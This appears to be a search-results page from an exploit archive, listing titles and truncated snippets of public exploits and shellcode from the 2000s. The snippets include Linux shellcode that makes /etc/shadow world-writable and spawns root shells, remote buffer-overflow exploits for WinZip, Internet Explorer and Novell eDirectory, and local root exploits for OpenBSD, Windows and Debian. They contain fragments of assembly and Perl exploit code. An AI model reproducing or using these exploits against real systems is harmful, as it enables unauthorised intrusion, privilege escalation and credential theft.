7613 matches found
linux/x86 chmod 0666 /etc/shadow 36 bytes
Exploit for linux/x86 platform in category shellcode ========================================= linux/x86 chmod 0666 /etc/shadow 36 bytes ========================================= / By Kris Katterjohn 8/29/2006 36 byte shellcode to chmod"/etc/shadow", 0666 and exit for Linux/x86 To remove exit:...
linux/x86 - chmod 0666 /etc/shadow 36 bytes
linux/x86 chmod 0666 /etc/shadow 36 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 8/29/2006 36 byte shellcode to chmod"/etc/shadow", 0666 and exit for Linux/x86 To remove exit: Remove the last 5 bytes 0x6a - 0x80 section .text global start start: xor edx, edx push byte 15 pop...
linux/x86 setuid(0) + execve(/bin/sh) 28 bytes
Exploit for linux/x86 platform in category shellcode ============================================== linux/x86 setuid0 + execve/bin/sh 28 bytes ============================================== / revenge-setuid.c, v1.0 2006/09/30 14:57 linux/x86 setuid0 + execve"/bin//sh", "/bin//sh", NULL shellcode...
linux/x86 - setuid0 + execve/bin/sh 28 bytes
linux/x86 setuid0 + execve/bin/sh 28 bytes. Shellcode exploit for linx86 platform / revenge-setuid.c, v1.0 2006/09/30 14:57 linux/x86 setuid0 + execve"/bin//sh", "/bin//sh", NULL shellcode once again... setuid 6 bytes + execve 22 bytes = 28 bytes Same as revenge-execve.c we start the 2 system cal...
linux/x86 execve(/bin/sh) 22 bytes
Exploit for linux/x86 platform in category shellcode ================================== linux/x86 execve/bin/sh 22 bytes ================================== / revenge-execve.c, v1.0 2006/10/14 16:32 Yet another linux execve shellcode.. linux/x86 execve"/bin//sh/","/bin//sh",NULL shellcode...
linux/x86 - execve/bin/sh 22 bytes
linux/x86 execve/bin/sh 22 bytes. Shellcode exploit for linx86 platform / revenge-execve.c, v1.0 2006/10/14 16:32 Yet another linux execve shellcode.. linux/x86 execve"/bin//sh/","/bin//sh",NULL shellcode http://www.0xcafebabe.it But this time it's 22 bytes We could start the shellcode with a mov...
WinZip 10.0.7245 - FileView ActiveX Remote Buffer Overflow
/ WinZip - prdelka / include include inclu...
WinZIP <= 10.0.7245 (FileView ActiveX) Remote Buffer Overflow Expl
Exploit for unknown platform in category remote exploits ===================================================================== WinZIP = 10.0.7245 FileView ActiveX Remote Buffer Overflow Exploit ===================================================================== / WinZip = 10.0.7245 FileView...
MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit 3
No description provided by source. / ----------------------------------------------------------------------- MS Internet Explorer 6/7 XML Core Services Remote Code Execution Exploit Works on Windows XP versions including SP2 and 2K Author: M03 Credit: metasploit, jamikazu, yag kohnafor the...
Microsoft Internet Explorer 6/7 - XML Core Services Remote Code Execution (3)
/ ----------------------------------------------------------------------- MS Internet Explorer 6/7 XML Core Services Remote Code Execution Exploit Works on Windows XP versions including SP2 and 2K Author: M03 Credit: metasploit, jamikazu, yag kohnafor the shellcode, LukeHack for the code, Greetz:...
MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Expl 3
Exploit for unknown platform in category remote exploits ======================================================================= MS Internet Explorer 6/7 XML Core Services Remote Code Exec Exploit 3 ======================================================================= /...
linux/x86-64 execve(/bin/sh) 33 bytes
Exploit for linux/x86-64 platform in category shellcode ===================================== linux/x86-64 execve/bin/sh 33 bytes ===================================== Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx...
linux/x86-64 execve/bin/sh 33 bytes
linux/x86-64 execve/bin/sh 33 bytes. Shellcode exploit for linx86-64 platform Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx movq $0x68732f6e69622fff,%rbx shr $0x8, %rbx push %rbx movq %rsp,%rdi xorq %rax,%rax pushq...
Novell eDirectory <= 9.0 DHost Remote Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ============================================================= Novell eDirectory | \ / / / / 30\10\06 / || / / mm. dM8 YMMMb. dMM8 YMMMMb dMMM' YMMMb dMMMP There are doors I have yet to open YMMM MMM' windows I have yet to look through...
Novell eDirectory NDS Server Stack Overflow (Exploit)
No description provided by source. !perl "Novell eDirectory 8.8 NDS Server" Remote Stack Overflow Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; destination IP address $ip = '192.168.1.25'; destination TCP port $port = 8028; RETurn address. 0x00, 0x0a, 0x0d,...
Novell eDirectory 8.8 NDS Server Remote Stack Overflow Exploit
No description provided by source. !perl "Novell eDirectory 8.8 NDS Server" Remote Stack Overflow Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; destination IP address $ip = '192.168.1.25'; destination TCP port $port = 8028; RETurn address. 0x00, 0x0a, 0x0d,...
OpenBSD 2.x - 3.3 exec_ibcs2_coff_prep_zmagic() Kernel Exploit
No description provided by source. / OpenBSD 2.x - 3.3 / / execibcs2coffprepzmagic kernel stack overflow / / note: ibcs2 binary compatibility with SCO and ISC is enabled / / in the default install / / Copyright Feb 26 2003 Sinan "noir" Eren / / noir olympos org | noir uberhax0r net / / greets to...
MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)
No description provided by source. / Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit MS04-020 Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED Posixexp.c By bkbll bkbll cnhonker net,bkbll tom com www cnhonker com 2004/07/16 thanks to eyas xfocus org C:\whoami VITUALWIN2K\tes...
Novell eDirectory 8.8 - NDS Server Remote Stack Overflow
Novell eDirectory 8.8 - NDS Server Remote Stack Overflow !perl "Novell eDirectory 8.8 NDS Server" Remote Stack Overflow Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; destination IP address $ip = '192.168.1.25'; destination TCP port $port = 8028; RETurn addres...
Debian 2.2 /usr/bin/pileup Local Root Exploit
No description provided by source. / pileup-xpl.c - local root exploit by core Friday the 13th, July 2001 based almost entirely on code by Cody Tubbs loophole of hhp $ ./pileup-xpl pileup-xpl by core 2001 - beep beep root! usage: ./pileup-xpl offset align0..3 Ret-addr: 0xbfffe09c, offset: 0, alig...